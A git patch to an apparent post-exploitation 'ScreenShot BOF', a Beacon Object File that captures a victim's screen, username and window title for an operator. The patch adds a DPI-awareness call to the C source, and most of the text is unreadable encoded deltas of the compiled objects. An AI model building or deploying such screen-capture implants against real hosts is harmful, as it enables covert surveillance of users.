From 7606ac55fc95f1a9f789a053b4298c549f7e2a7b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E7=B0=9E=E7=B4=94?= <287182701@qq.com> Date: Mon, 10 Jul 2023 11:07:17 +0800 Subject: [PATCH] update --- bin/screenshot.x64.o | Bin 5186 -> 5247 bytes bin/screenshot.x86.o | Bin 4467 -> 4545 bytes screenshot.c | 3 ++- 3 files changed, 2 insertions(+), 1 deletion(-) diff --git a/bin/screenshot.x64.o b/bin/screenshot.x64.o index 15987069375854de861ff1221e03d8cc7bc38def..d564ba3187000f6e74f4360988ad1a41baf5aeca 100644 GIT binary patch delta 1422 zcmZ9MT}WI<6vxkXSNB7ARl2Pv*7m9sU5i@RjYgpfC|fdyeOPKzBv3!7+u8?F)V4lY z6tfM=U8y=gT6-p^o?1#{T{hzt(S~_s={?7lL znRDjM-2FCq6!i66chN7yU-mTmiNdqKmFhn|L^Byg*KGJ8M2v92WC0?&xHt=)@3oG&bu0XJPB?yf*JE_+*NdS$;rhe zL=dUgO}M2M6(e>|YWVj+57 zXHB^h(A5LaH)S#8g)535cC{bHOmsGezQ<^^k*`Ou`r2D&^r{_izi@MpFt{=#K+BVY zpf&5}aSpek;@M^O8wkQWwGv&>Hw#7(e8<*Jp2#UedGgttm|s^rF@} zK*gFA=w+fYBv}QTT6EwNmS_^7QcVXS{xY0o;-Fv9R1G?nW3@Vr)GQ3Xm8Xy~Q9K`=NuV^<{Xj1?bQbGU1xdsq|_z`Uvo9fTj zHged1l~A4ef2Cgi?VrryKQ!*=;cmmq@+Y}(8hl#B*PH0F+Rb|__cKrVEp6)8yXsPY zMf2hhAANPAP1xat2I{0l3sAUx-krVM&!O-x?3ktHyZPY^v$ONPzJbmwL-E0IooI^> d#|Hb~jt>n*Vy(>|b`QpBE)Y;P0oPoh&5=H&lJ^$bN09Xwf0_XU(Q*KOhy8& z=iKD*&+lKmglNNHU~KKYmuSF7bk3HkZxMy8k>)um)EsfvVcpeO53aH~U0F9&_b- z@4&9_?-L%`?<&t4fHlFhE#}}wy>T%lpShx$4Njt%2@9e*BnITHE2pp%hS7aba8IY5 zAM+4oz{|F*c5e!BbZ<=PF=QK%UG9R8n-0zv7gfk{SBKkxs}sGI4{Mo%5y69GTM&c_ z9$D5l%X$iHoGUy4*9$iEwDAf(CU}F68}O|~j57+Q%@b}4j>QGXA~Rf4FIb#cs#D&Ti6KxgGO}r;u81X%2Cd?_TR0HY9p;>Nu(NiAcWB6xL^0jBT z7L}X4x+}daJH6HJn)Hxs-mHAWkeHd^UE|3NvtFDquyoSoV{bC7!wpvDI z$_ACmiX~SnqaY0AN9?HE9Nkz}$zgvhUfx?wrF@vK|LKQZ-GJDrA D2EX=9 diff --git a/bin/screenshot.x86.o b/bin/screenshot.x86.o index 51b84a7c40623dd84dd6c7d9b005c23a4a17da17..b56814b5b640f42d4f3653b354e31982b2419fd2 100644 GIT binary patch delta 1420 zcmZXUUr1AN6vxlqyl&3_sU*{M&SgucnHu&GV(FznD9ov05RA~74K>qcJ{Swu4aUz4 z+HFK61^HMIBB2R_mN0_?4TK(yBq)fUq#lAE);Yi3-TZS0zx%o0bI$ji``f+umwmZ3 zy;%_9ci?$le3yI8$L^v!hv5qB=rpr!r4lU9OH^m=slK_}B;btx4 ztvj-$snG2yicjuUjnJz>R-ykO%T@gPU#c3klqcd1jS%be5;$u>vk zoJ@I{FJ&?gEfqfseJwV=S^gs~Zy8Xf7HTB9#np$PNS}7ig)>{CGDXA&xD%CDs8MLK zPt7pdGDwa}s|o3p$*xKB38~LyHBlB-D5i2NuaI4+Xc!yOBmdZt&-@v4K z+-S;fWf3|t13Q-%TMzSr{y!Ax&Pz)DphW0N@i5*)D`wg3j5D?tuS(<=`hh8wi`H}^ zYcsZCXC{gpH!CZR>v+nCv zwb#oU-wo|9nVGe^#Mno?KeaohSr}AjQpzf+4Fq!c^)tuTLW{JQ6x8=t6)hgYsdifG zg`?_2OI`3CzKirUCc_3&Hm5I0M>uUG9pLm=*RqTNWn3%JsSN2b*J_X)oGu}iavDXl zb9#bQ!f64?1`x!?gZQQ#Jr?oLtC7H!IglbgG!$PAw9=Cr}3L3`TIYojqAs zRZ~af>{M!xlk+a6)}||!0pDlC1?L$PVx^~7O-h1t&; z_Y5^1!@i-KYDb$d;2yf(&lR?p$fd-YyE>>Z%f<7Mo+ursxROh7-^`5 Ef8w?LmH+?% delta 1243 zcmZXUT}V@57{{Npc|6_Q|tB(%jgKf0=jFlmGd%?L7PjZ=)b z1IBSgu{vrj$IdO^S_uUbH5&bcJd0d$tOI$@5_rnv1Z}T(s=XByVRZ{)ERfVWxVu zSK_`{(HVmnur$>uB`7)coSMy6qlp)n9Rf?Ua{~2A5gn)4&u9;Gj|=PHW07h z)z4JeNM>mgMzfsgBc6U6YIeU0kcv zsRgN%YduIEoWe-$oUS3cIi->Ib6P@jak_}-pb;Q}jgyFNT%1E{<+OlQG`>T^6HWsn zSvhSYwQzbM0^qU7==o{@Gp8#$P3v?=r?V1(vzUR@+05}SB7FerLBwhfuGQ((x@@tw z3IRXLfSthz9mA)N2Yg44(KtJlJ}SLk@%L&MY)&hEn`m*L{djp|`MzyZ5FRa??Dq^c Uq2aN?=t#%Jczk^F#(*FG0rR=Y$^ZZW diff --git a/screenshot.c b/screenshot.c index 359efe0..ced7af8 100644 --- a/screenshot.c +++ b/screenshot.c @@ -43,6 +43,7 @@ DECLSPEC_IMPORT int WINAPI GDI32$GetObjectW(HANDLE h,int c,LPVOID pv); DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance(REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID* ppv); DECLSPEC_IMPORT HGDIOBJ WINAPI GDI32$DeleteObject(HGDIOBJ ho); DECLSPEC_IMPORT int WINAPI User32$ReleaseDC(HWND hWnd, HDC hDC); +DECLSPEC_IMPORT BOOL WINAPI User32$SetProcessDPIAware(); void downloadScreenshot(char* jpg, int jpgLen, int session, char* windowTitle, int titleLen, char* username, int usernameLen) { int messageLength; @@ -110,6 +111,7 @@ int go() ULARGE_INTEGER size; char* user = (char*)MSVCRT$getenv("USERNAME"); char title[] = "ScreenShot BOF"; + BOOL b = User32$SetProcessDPIAware(); int userLength = MSVCRT$_snprintf(NULL, 0, "%s", user); int titleLength = MSVCRT$_snprintf(NULL, 0, "%s", title); DWORD session = -1; @@ -229,4 +231,3 @@ done: User32$ReleaseDC(NULL, hdcScreen); return 0; } -